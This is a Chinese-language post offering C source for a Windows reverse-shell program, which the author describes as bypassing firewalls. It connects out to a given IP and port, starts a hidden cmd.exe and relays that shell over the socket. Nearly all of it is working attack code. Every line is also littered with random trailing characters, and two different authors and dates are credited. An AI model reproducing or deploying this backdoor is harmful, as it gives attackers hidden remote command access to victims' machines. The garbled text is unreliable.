这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^fhkWx 4i
LLJsBHi-
/* ============================== Wa'm]J
Rebound port in Windows NT r~sQdf
By wind,2006/7 to3D#9Ep
===============================*/ c59l/qoz
#include d~w}{LR[1
#include /;9]LC.g
F2CoXe7
#pragma comment(lib,"wsock32.lib") i]IZ0.?Y
gg QI
void OutputShell(); htHnQ4Q
SOCKET sClient; ZJ}|t
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "uD^1'IW2
Zl7m:b2M
void main(int argc,char **argv) _.BX#BIF
{ uDG#L6
WSADATA stWsaData; wIK&EGQ
int nRet; [ FNA:
SOCKADDR_IN stSaiClient,stSaiServer; [(/IV+
A!p70km2
if(argc != 3) Y?V>%eBu
{ ]F1ZeAh5
printf("Useage:\n\rRebound DestIP DestPort\n"); >@StKj
return; X]v.Yk=wu
} k?ksv+e\
KHt.g`1:R
WSAStartup(MAKEWORD(2,2),&stWsaData); `+EjmY
p Yaq1_<+
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YJ~3eZQ
qJLtqv
stSaiClient.sin_family = AF_INET; pax;#*QcQ
stSaiClient.sin_port = htons(0); C]D voJmBs
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @G0j/@v
e"6!0Py#*
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \&5t@sC
{ CDgu`jj%]
printf("Bind Socket Failed!\n"); % yP*Vp,W
return; ^FN(wvqb8
} \F8*HPM=*
$K*&Wdo
stSaiServer.sin_family = AF_INET; tJ@5E^'4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); exL<cN
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); yXL]uh#b
8Qi@z Jq,
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) x@480r
{ ]BBL=$*
printf("Connect Error!"); 1U;p+k5c
return; pm}!?TL
} ,MdK "Qa>
OutputShell(); ET}Dh3A
} 4^Ghn
:s`\jJ
void OutputShell() }dO^q-t$3
{ 9?#L/
char szBuff[1024]; K\`>'C2_V
SECURITY_ATTRIBUTES stSecurityAttributes; J\x.:=V
OSVERSIONINFO stOsversionInfo; WZJ}HHePr
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; I:G4i}mA
STARTUPINFO stStartupInfo; "8h7"WR
char *szShell; 2^C>orKQ0
PROCESS_INFORMATION stProcessInformation; `+O7IyTMA
unsigned long lBytesRead; q+Cq&|4
?2
o$_,2$>mn
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); TEi~X2u
]M5w!O!
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q`7.-di
stSecurityAttributes.lpSecurityDescriptor = 0; ?O<D&CvB
stSecurityAttributes.bInheritHandle = TRUE; cN\Fgbt
QSq0{
\,5OPSB
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `@07n]KB
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o7;#B)jWS
#0;ULZ99aH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); yxz"9PE/P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dCkk5&2n
stStartupInfo.wShowWindow = SW_HIDE; PhOtSml0
stStartupInfo.hStdInput = hReadPipe; N9A#@c0O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0xQ="aXE
t\%gP@?
GetVersionEx(&stOsversionInfo); /"%(i#<)xs
"`4V^1
switch(stOsversionInfo.dwPlatformId) yq2pg8%
{ kL1StF#p
case 1: vMB`TpZ
szShell = "command.com"; Wy`ve~y
break; lboi\GP|
default: rW(<[2 vg
szShell = "cmd.exe"; V O=
o)H\
break; YXr"
} ht1d[
U4*Q;A#
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^*=.Vuqy
w`$M}oX(
send(sClient,szMsg,77,0); A%$ZB9#zQ
while(1) fyE#8h_>4
{ s35`{PR
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^<VJ8jk<
if(lBytesRead) [|!A3o
{ K7CrRT3>6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H<`<5M 8
send(sClient,szBuff,lBytesRead,0); ;9rS[$^$O
} "bC1dl<
else k6?;D_dm
{ [R~`6
lBytesRead=recv(sClient,szBuff,1024,0); M#7w54~b?M
if(lBytesRead<=0) break; m<X[s
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]F4.m
} ?\.aq
p1B
} /:OSql5K*<
}[>X}"_e
return; U$,W/G}m
}